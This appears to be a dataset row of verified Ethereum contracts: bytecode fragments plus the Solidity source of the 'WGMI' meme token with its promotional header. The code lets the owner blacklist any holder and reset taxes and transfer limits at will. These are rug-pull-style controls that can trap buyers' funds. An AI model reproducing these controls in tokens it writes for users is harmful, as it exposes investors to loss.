f0857600080fd5b6102c65a03f11515610f1957600080fd5b505050604051805190509050610f30565b60015490505b90565b60008060149054906101000a900460ff16151515610f5057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fa957600080fd5b600a60149054906101000a900460ff161561111557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338686866000604051602001526040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050602060405180830381600087803b15156110f357600080fd5b6102c65a03f1151561110457600080fd5b505050604051805190509050611123565b611120848484612164565b90505b9392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d557600080fd5b600060149054906101000a900460ff1615156111f057600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561128857600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816001600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff16156114c857600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156114a657600080fd5b6102c65a03f115156114b757600080fd5b5050506040518051905090506114d4565b6114d182612612565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153457600080fd5b600060149054906101000a900460ff1615151561155057600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561167d5780601f106116525761010080835404028352916020019161167d565b820191906000526020600020905b81548152906001019060200180831161166057829003601f168201915b505050505081565b60008060149054906101000a900460ff161515156116a257600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156116fb57600080fd5b600a60149054906101000a900460ff161561183357600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561181157600080fd5b6102c65a03f1151561182257600080fd5b505050604051805190509050611840565b61183d838361265b565b90505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a157600080fd5b6014821015156118b057600080fd5b6032811015156118bf57600080fd5b816003819055506118de600954600a0a826129cb90919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198657600080fd5b806001541015151561199757600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a0657600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611bf057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611bce57600080fd5b6102c65a03f11515611bdf57600080fd5b505050604051805190509050611bfd565b611bfa8383612a06565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8457600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dc157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e3857806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9857600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ef057600080fd5b611ef9826113ca565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000604060048101600036905010151515611fd957600080fd5b6000831415801561206757506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15151561207357600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60008060008060606004810160003690501015151561218257600080fd5b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061222a61271061221c600354896129cb90919063ffffffff16565b612a8d90919063ffffffff16565b925060045483111561223c5760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8410156122f8576122778685612aa890919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61230b8387612aa890919063ffffffff16565b915061235f86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f482600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561259e576124b383600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019450505050509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600060406004810160003690501015151561267857600080fd5b6126a1612710612693600354886129cb90919063ffffffff16565b612a8d90919063ffffffff16565b92506004548311156126b35760045492505b6126c68386612aa890919063ffffffff16565b915061271a85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127af82600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156129595761286e83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001935050505092915050565b60008060008414156129e057600091506129ff565b82840290508284828115156129f157fe5b041415156129fb57fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612a9b57fe5b0490508091505092915050565b6000828211151515612ab657fe5b818303905092915050565b6000808284019050838110151515612ad557fe5b80915050929150505600a165627a7a72305820d5fcf40da39782f76038c47a2e5c0937544a92bbe262ff7a3095d3b20b41bf470029 | {"success": true, "error": null, "results": {}} | 1,170 |
0x7eE5038C4DD56eaB512a2693772dfBaaCC768e74 | /**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
/**
Telegram: https://t.me/wgmi_eth
Twitter: https://twitter.com/wgmitoken
/$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$
| $$ /$ | $$ /$$__ $$| $$$ /$$$|_ $$_/
| $$ /$$$| $$| $$ \__/| $$$$ /$$$$ | $$
| $$/$$ $$ $$| $$ /$$$$| $$ $$/$$ $$ | $$
| $$$$_ $$$$| $$|_ $$| $$ $$$| $$ | $$
| $$$/ \ $$$| $$ \ $$| $$\ $ | $$ | $$
| $$/ \ $$| $$$$$$/| $$ \/ | $$ /$$$$$$
|__/ \__/ \______/ |__/ |__/|______/
It’s time to apply all that we have learned
Tokens bought and tokens spurned
Private keys and several seeds
With which we’ve written all our deeds
But still fall silent our hopes still pending
For a transaction not unwished sending
At last on this nonce arose a degen anthem for us to sing
“We’re all going to make it” let the blockchain ring
- 100% Tokens to Liquidity / No premine dev token wallet
- Dev tax 7% at time of launch
- Launch with 2% Wallet Cap Limit
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
function transferOwnership(address _address) public virtual onlyOwner {
emit OwnershipTransferred(m_Owner, _address);
m_Owner = _address;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
function initTax() internal virtual {
m_TaxAlloc = new uint24[](0);
m_TaxAddresses = new address payable[](0);
m_TaxAlloc.push(0);
m_TaxAddresses.push(payable(address(0)));
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
for (uint i = 1; i < m_TaxAlloc.length; i++) {
uint256 _alloc = m_TaxAlloc[i];
address payable _address = m_TaxAddresses[i];
uint256 _amount = _eth.mul(_alloc).div(_d);
if (_amount > 1){
_address.transfer(_amount);
}
}
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(m_TotalAlloc.add(_alloc) <= 10500);
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500);
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
}
}
function totalTaxAlloc() internal virtual view returns (uint256) {
return m_TotalAlloc;
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
uint _idx = m_TaxIdx[_address];
return m_TaxAlloc[_idx];
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WGMI is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9;
string private m_Name = "We Gonna Make It";
string private m_Symbol = "WGMI";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(50); // 2% supply
uint256 private m_TxLimit = TOTAL_SUPPLY.div(50); // 2% supply
bool private m_Liquidity = false;
event SetTxLimit(uint TxLimit);
// MISC
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
bool private m_Launched = false;
bool private m_IsSwap = false;
bool private _limitTX = true;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
initTax();
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _readyToTax(address _sender) private view returns (bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _checkTX() private view returns (uint256){
return m_TxLimit;
}
function setTxLimit(uint24 limit) external onlyOwner() {
m_TxLimit = TOTAL_SUPPLY.div(limit);
}
function setWalletLimit(uint24 limit) external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(limit);
}
function CurrentTxLimit() public view returns (uint256) {
return m_TxLimit;
}
function CurrentWalletLimit() public view returns (uint256) {
return m_WalletLimit;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]);
if(_walletCapped(_recipient)){
if (m_Launched){
require(balanceOf(_recipient) < m_WalletLimit);
} else {
require(_amount <= _checkTX());
require(balanceOf(_recipient) < m_WalletLimit);
}
}
uint256 _taxes = 0;
if (_trader(_sender, _recipient)) {
require(m_Launched);
if (_txRestricted(_sender, _recipient))
require(_amount <= _checkTX());
_taxes = _getTaxes(_sender, _recipient, _amount);
_tax(_sender);
}
_updateBalances(_sender, _recipient, _amount, _taxes);
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
return _ret;
}
function _tax(address _sender) private {
if (_readyToTax(_sender)) {
uint256 _tokenBalance = balanceOf(address(this));
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
m_LastEthBal = address(this).balance;
}
function addLiquidity() external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp);
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
m_Liquidity = true;
}
function launch() external onlyOwner() {
m_WalletLimit = TOTAL_SUPPLY.div(50); //set wallet limit back to 2%
m_Launched = true;
}
function checkIfBlacklist(address _address) external view returns (bool) {
return m_Blacklist[_address];
}
function checkIfWhitelist(address _address) external view returns (bool) {
return m_ExcludedAddresses[_address];
}
function blacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = true;
}
function rmBlacklist(address _a) external onlyOwner() {
m_Blacklist[_a] = false;
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
setTaxAlloc(_address, _alloc);
if (_alloc > 0) {
m_ExcludedAddresses[_address] = true;
}
}
function addTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = true;
}
}
function rmTaxWhitelist(address[] memory _address) external onlyOwner() {
for (uint i = 0; i < _address.length; i++) {
m_ExcludedAddresses[_address[i]] = false;
}
}
} | 0x6080604052600436106101845760003560e01c8063899c3ea3116100d1578063c7ab8d9d1161008a578063f2d226fc11610064578063f2d226fc146104b0578063f2fde38b146104d0578063f9f92be4146104f0578063fbe6a0891461051057600080fd5b8063c7ab8d9d1461041c578063dd62ed3e14610455578063e8078d941461049b57600080fd5b8063899c3ea31461035f5780638a13792e1461037f5780638da5cb5b1461039f57806395d89b41146103c757806398d5a5cb146103dc578063a9059cbb146103fc57600080fd5b80631c815b491161013e578063313ce56711610118578063313ce567146102b85780633bcad4b3146102da57806354486ac31461031357806370a082311461032957600080fd5b80631c815b491461025857806323b872dd146102785780632473fc9e1461029857600080fd5b806291ef3b1461019057806301339c21146101b457806306fdde03146101cb57806307ac5dc5146101ed578063095ea7b31461020d57806318160ddd1461023d57600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b50600a545b6040519081526020015b60405180910390f35b3480156101c057600080fd5b506101c9610525565b005b3480156101d757600080fd5b506101e0610586565b6040516101ab9190611cdf565b3480156101f957600080fd5b506101c9610208366004611c8c565b610618565b34801561021957600080fd5b5061022d610228366004611af8565b610668565b60405190151581526020016101ab565b34801561024957600080fd5b50670de0b6b3a76400006101a1565b34801561026457600080fd5b506101c9610273366004611af8565b61067f565b34801561028457600080fd5b5061022d610293366004611b5d565b6106ea565b3480156102a457600080fd5b506101c96102b3366004611b9e565b610754565b3480156102c457600080fd5b5060075460405160ff90911681526020016101ab565b3480156102e657600080fd5b5061022d6102f5366004611abe565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561031f57600080fd5b506101a160045481565b34801561033557600080fd5b506101a1610344366004611abe565b6001600160a01b03166000908152600e602052604090205490565b34801561036b57600080fd5b506101c961037a366004611c8c565b6107ef565b34801561038b57600080fd5b506101a161039a366004611abe565b61083f565b3480156103ab57600080fd5b506000546040516001600160a01b0390911681526020016101ab565b3480156103d357600080fd5b506101e06108b4565b3480156103e857600080fd5b506101c96103f7366004611abe565b6108c3565b34801561040857600080fd5b5061022d610417366004611af8565b610917565b34801561042857600080fd5b5061022d610437366004611abe565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561046157600080fd5b506101a1610470366004611b24565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156104a757600080fd5b506101c9610924565b3480156104bc57600080fd5b506101c96104cb366004611b9e565b610ce1565b3480156104dc57600080fd5b506101c96104eb366004611abe565b610d7c565b3480156104fc57600080fd5b506101c961050b366004611abe565b610e0a565b34801561051c57600080fd5b506009546101a1565b6000546001600160a01b0316336001600160a01b0316146105615760405162461bcd60e51b815260040161055890611d34565b60405180910390fd5b610574670de0b6b3a76400006032610e61565b6009556011805460ff19166001179055565b60606005805461059590611e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546105c190611e4a565b801561060e5780601f106105e35761010080835404028352916020019161060e565b820191906000526020600020905b8154815290600101906020018083116105f157829003601f168201915b5050505050905090565b6000546001600160a01b0316336001600160a01b03161461064b5760405162461bcd60e51b815260040161055890611d34565b610662670de0b6b3a764000062ffffff8316610e61565b600a5550565b6000610675338484610ea3565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146106b25760405162461bcd60e51b815260040161055890611d34565b6106bc8282610fc7565b80156106e6576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b5050565b60006106f7848484611172565b610749843361074485604051806060016040528060288152602001611ef8602891396001600160a01b038a166000908152600f6020908152604080832033845290915290205491906113e0565b610ea3565b5060015b9392505050565b6000546001600160a01b0316336001600160a01b0316146107875760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576000600d60008484815181106107ab576107ab611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e781611e85565b91505061078a565b6000546001600160a01b0316336001600160a01b0316146108225760405162461bcd60e51b815260040161055890611d34565b610839670de0b6b3a764000062ffffff8316610e61565b60095550565b600080546001600160a01b0316336001600160a01b0316146108735760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03821660009081526003602052604090205460018054829081106108a0576108a0611eb6565b90600052602060002001549150505b919050565b60606006805461059590611e4a565b6000546001600160a01b03